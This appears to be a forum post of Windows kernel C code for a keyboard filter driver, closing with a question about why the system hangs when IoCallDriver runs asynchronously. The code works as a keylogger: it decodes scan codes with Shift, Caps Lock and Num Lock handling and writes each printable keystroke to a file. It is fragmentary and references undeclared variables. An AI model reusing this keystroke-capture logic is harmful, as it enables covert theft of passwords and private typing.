NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
PMY_DEVICE_EXTENSION myDeviceExtension;
KEVENT event;
PIO_STACK_LOCATION currentIrpStack;
NTSTATUS ntStatus = STATUS_SUCCESS;
//KdPrint((“KMRead.\n”));
PUCHAR buff;
int len;
myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
currentIrpStack = IoGetCurrentIrpStackLocation(Irp);
IoCopyCurrentIrpStackLocationToNext(Irp);
/* 只有驱动可以保证在完成例程被调用之前不被卸载的情况下,可以使用 IoSetCompletionRoutine,
如果你不能保证,那么就需要用 IoSetCompletionRoutineEx,让内核来使驱动不被卸载*/
/*IoSetCompletionRoutine(Irp,
KMReadCompletion,
NULL,
TRUE,
TRUE,
TRUE);*/
IoSetCompletionRoutine(Irp,KMReadCompletion,&event,TRUE,TRUE,TRUE);
//初始化事件
KeInitializeEvent(&event, NotificationEvent, FALSE);
ntStatus =IoCallDriver(myDeviceExtension->TargetDevice, Irp);
if (ntStatus == STATUS_PENDING)
{
KdPrint((“IoCallDriver return STATUS_PENDING,Waiting …\n”));
KeWaitForSingleObject(&event,Executive,KernelMode ,FALSE,NULL);
if (NT_SUCCESS(Irp->IoStatus.Status)) {
// 由于设备标志为 DO_BUFFERED_IO, 内核分配了该缓冲区
buff = (PUCHAR)Irp->AssociatedIrp.SystemBuffer;
// 返回值一般都保存在 Information 中,即长度
len = Irp->IoStatus.Information;
if (buff[4] == 0) {
/* 键盘被按下 */
switch (buff[2])
{
case 0x3A:
g_caps = (g_caps == 1)?0:1;
break;
case 0x2A:
case 0x36:
g_shift = 1;
break;
case 0x45:
g_num = (g_num == 1)?0:1;
break;
default:
KMPrintKey(buff[2]);
break;
}
} else if (buff[4] == 1)
{
/* 键盘被释放 */
switch (buff[2]) {
case 0x2A:
case 0x36:
g_shift = 0;
break;
default: break;
}
}
}
ntStatus = Irp->IoStatus.Status;
}
IoCompleteRequest (Irp, IO_NO_INCREMENT);
KdPrint((“DriverB:Leave B HelloDDKRead\n”));
return ntStatus;
}
NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
{
if (Irp->PendingReturned == TRUE)
{
//设置事件
KeSetEvent((PKEVENT)Context,IO_NO_INCREMENT,FALSE);
}
return STATUS_MORE_PROCESSING_REQUIRED;
}
void KMPrintKey(UCHAR sch)
{
IO_STATUS_BLOCK ioStatus;
OBJECT_ATTRIBUTES oa;
// UNICODE_STRING usPath;
UCHAR ch = 0;
UNICODE_STRING usBuff;
UNICODE_STRING usCopyDes;
PUCHAR usCopyDes1;
int len=sizeof(UCHAR);
//WCHAR *UnicodeString = L”UnicodeString”;
if ((sch < 0x47) || ((sch >= 0x47 && sch < 0x54) && g_num==0)) {
ch = asciiTbl[sch];
if(g_shift && g_caps)
ch = asciiTbl[sch+84*3];
else if(g_shift==1)
ch = asciiTbl[sch+84*2];
else if(g_caps==1)
ch = asciiTbl[sch+84];
}
if(ch==0x08)
{
//DbgPrint(“退格”);
}
if (ch >= 0x20 && ch < 0x7F)
{
//DbgPrint(“%C”,ch);
//DbgPrint(“美女123 %C”,ch);
usCopyDes1= (PUCHAR)ExAllocatePool(PagedPool,len);
RtlFillMemory(usCopyDes1,len,ch);
if(NT_SUCCESS(ntStatus))
{ZwWriteFile(
hFile,
NULL,
NULL,
NULL,
&ioStatus,
usCopyDes1,
len,
NULL,
NULL);
}
ExFreePool(usCopyDes1);
}
}
[/code]
//这样,我把过滤的完成例程改为IoCallDriver异步的,就是IoCallDriver返回STATUS_PENDING就只响应键盘,其他都死机了。假如改回IoCallDriver同步的就没事。为什么。